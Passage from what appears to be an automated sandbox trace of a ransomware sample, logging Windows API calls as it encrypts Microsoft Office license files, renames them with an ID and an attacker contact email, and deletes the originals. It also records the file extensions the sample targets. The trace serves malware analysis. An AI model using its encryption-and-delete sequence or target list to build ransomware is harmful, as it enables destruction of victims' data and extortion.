Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.543] GetLastError () returned 0x0 [0180.543] ReadFile (in: hFile=0x3fc, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2581, lpOverlapped=0x0) returned 1 [0180.546] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2590, lpOverlapped=0x0) returned 1 [0180.547] ReadFile (in: hFile=0x3fc, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.547] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10c, lpOverlapped=0x0) returned 1 [0180.547] SetEndOfFile (hFile=0x4f0) returned 1 [0180.548] CloseHandle (hObject=0x4f0) returned 1 [0180.548] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.548] SetEndOfFile (hFile=0x3fc) returned 1 [0180.552] CloseHandle (hObject=0x3fc) returned 1 [0180.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0180.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.733] lstrlenW (lpString=".doc") returned 4 [0180.733] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString=".docx") returned 5 [0180.733] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.733] lstrlenW (lpString=".pdf") returned 4 [0180.733] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString=".xls") returned 4 [0180.733] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString=".xlsx") returned 5 [0180.733] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.733] lstrlenW (lpString=".ppt") returned 4 [0180.733] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.733] lstrlenW (lpString=".zip") returned 4 [0180.733] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString=".rar") returned 4 [0180.733] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString=".bz2") returned 4 [0180.733] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.733] lstrlenW (lpString=".7z") returned 3 [0180.733] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.733] lstrlenW (lpString=".dbf") returned 4 [0180.734] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.734] lstrlenW (lpString=".1cd") returned 4 [0180.734] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.734] lstrlenW (lpString=".jpg") returned 4 [0180.734] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.734] lstrlenW (lpString=".doc") returned 4 [0180.734] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString=".docx") returned 5 [0180.734] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.734] lstrlenW (lpString=".pdf") returned 4 [0180.734] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString=".xls") returned 4 [0180.734] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString=".xlsx") returned 5 [0180.734] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.734] lstrlenW (lpString=".ppt") returned 4 [0180.734] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.734] lstrlenW (lpString=".zip") returned 4 [0180.734] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.735] lstrlenW (lpString=".rar") returned 4 [0180.735] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.735] lstrlenW (lpString=".bz2") returned 4 [0180.735] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.735] lstrlenW (lpString=".7z") returned 3 [0180.735] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.735] lstrlenW (lpString=".dbf") returned 4 [0180.735] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.735] lstrlenW (lpString=".1cd") returned 4 [0180.735] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0180.735] lstrlenW (lpString=".jpg") returned 4 [0180.735] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.735] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.735] lstrlenW (lpString="ExcelVL_MAK-ppd.xrm-ms") returned 22 [0180.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.917] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6795) returned 1 [0180.918] CloseHandle (hObject=0x564) returned 1 [0180.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0181.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.217] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.218] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0181.219] GetLastError () returned 0x0 [0181.219] ReadFile (in: hFile=0x3f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0181.221] WriteFile (in: hFile=0x46c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0181.223] ReadFile (in: hFile=0x3f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.223] WriteFile (in: hFile=0x46c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x100, lpOverlapped=0x0) returned 1 [0181.223] SetEndOfFile (hFile=0x46c) returned 1 [0181.223] CloseHandle (hObject=0x46c) returned 1 [0181.223] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.223] SetEndOfFile (hFile=0x3f4) returned 1 [0181.227] CloseHandle (hObject=0x3f4) returned 1 [0181.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0181.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.229] lstrlenW (lpString=".doc") returned 4 [0181.229] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString=".docx") returned 5 [0181.229] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.229] lstrlenW (lpString=".pdf") returned 4 [0181.229] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString=".xls") returned 4 [0181.229] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString=".xlsx") returned 5 [0181.229] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.229] lstrlenW (lpString=".ppt") returned 4 [0181.229] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.229] lstrlenW (lpString=".zip") returned 4 [0181.229] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString=".rar") returned 4 [0181.229] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString=".bz2") returned 4 [0181.229] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString=".7z") returned 3 [0181.229] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.229] lstrlenW (lpString=".dbf") returned 4 [0181.229] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.230] lstrlenW (lpString=".1cd") returned 4 [0181.230] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.230] lstrlenW (lpString=".jpg") returned 4 [0181.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.230] lstrlenW (lpString=".doc") returned 4 [0181.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString=".docx") returned 5 [0181.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.230] lstrlenW (lpString=".pdf") returned 4 [0181.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString=".xls") returned 4 [0181.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString=".xlsx") returned 5 [0181.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.230] lstrlenW (lpString=".ppt") returned 4 [0181.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.230] lstrlenW (lpString=".zip") returned 4 [0181.230] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString=".rar") returned 4 [0181.230] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString=".bz2") returned 4 [0181.230] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.230] lstrlenW (lpString=".7z") returned 3 [0181.230] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.231] lstrlenW (lpString=".dbf") returned 4 [0181.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.231] lstrlenW (lpString=".1cd") returned 4 [0181.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0181.231] lstrlenW (lpString=".jpg") returned 4 [0181.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.231] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.231] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0181.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.232] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11219) returned 1 [0181.232] CloseHandle (hObject=0x3f4) returned 1 [0181.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0181.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.233] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.233] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0181.238] GetLastError () returned 0x0 [0181.238] ReadFile (in: hFile=0x3f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0181.315] WriteFile (in: hFile=0x46c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0181.317] ReadFile (in: hFile=0x3f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.317] WriteFile (in: hFile=0x46c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x128, lpOverlapped=0x0) returned 1 [0181.317] SetEndOfFile (hFile=0x46c) returned 1 [0181.317] CloseHandle (hObject=0x46c) returned 1 [0181.317] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.317] SetEndOfFile (hFile=0x3f4) returned 1 [0181.324] CloseHandle (hObject=0x3f4) returned 1 [0181.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0181.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.326] lstrlenW (lpString=".doc") returned 4 [0181.326] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.326] lstrlenW (lpString=".docx") returned 5 [0181.326] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.326] lstrlenW (lpString=".pdf") returned 4 [0181.327] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString=".xls") returned 4 [0181.327] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString=".xlsx") returned 5 [0181.327] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.327] lstrlenW (lpString=".ppt") returned 4 [0181.327] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.327] lstrlenW (lpString=".zip") returned 4 [0181.327] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString=".rar") returned 4 [0181.327] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString=".bz2") returned 4 [0181.327] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString=".7z") returned 3 [0181.327] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.327] lstrlenW (lpString=".dbf") returned 4 [0181.327] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.327] lstrlenW (lpString=".1cd") returned 4 [0181.327] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.327] lstrlenW (lpString=".jpg") returned 4 [0181.327] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.327] lstrlenW (lpString=".doc") returned 4 [0181.327] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.327] lstrlenW (lpString=".docx") returned 5 [0181.327] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.328] lstrlenW (lpString=".pdf") returned 4 [0181.328] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString=".xls") returned 4 [0181.328] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString=".xlsx") returned 5 [0181.328] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.328] lstrlenW (lpString=".ppt") returned 4 [0181.328] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.328] lstrlenW (lpString=".zip") returned 4 [0181.328] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString=".rar") returned 4 [0181.328] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString=".bz2") returned 4 [0181.328] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString=".7z") returned 3 [0181.328] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.328] lstrlenW (lpString=".dbf") returned 4 [0181.328] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.328] lstrlenW (lpString=".1cd") returned 4 [0181.328] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0181.328] lstrlenW (lpString=".jpg") returned 4 [0181.328] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.328] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.328] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0181.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.330] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=22224) returned 1 [0181.330] CloseHandle (hObject=0x3f4) returned 1 [0181.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0181.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft 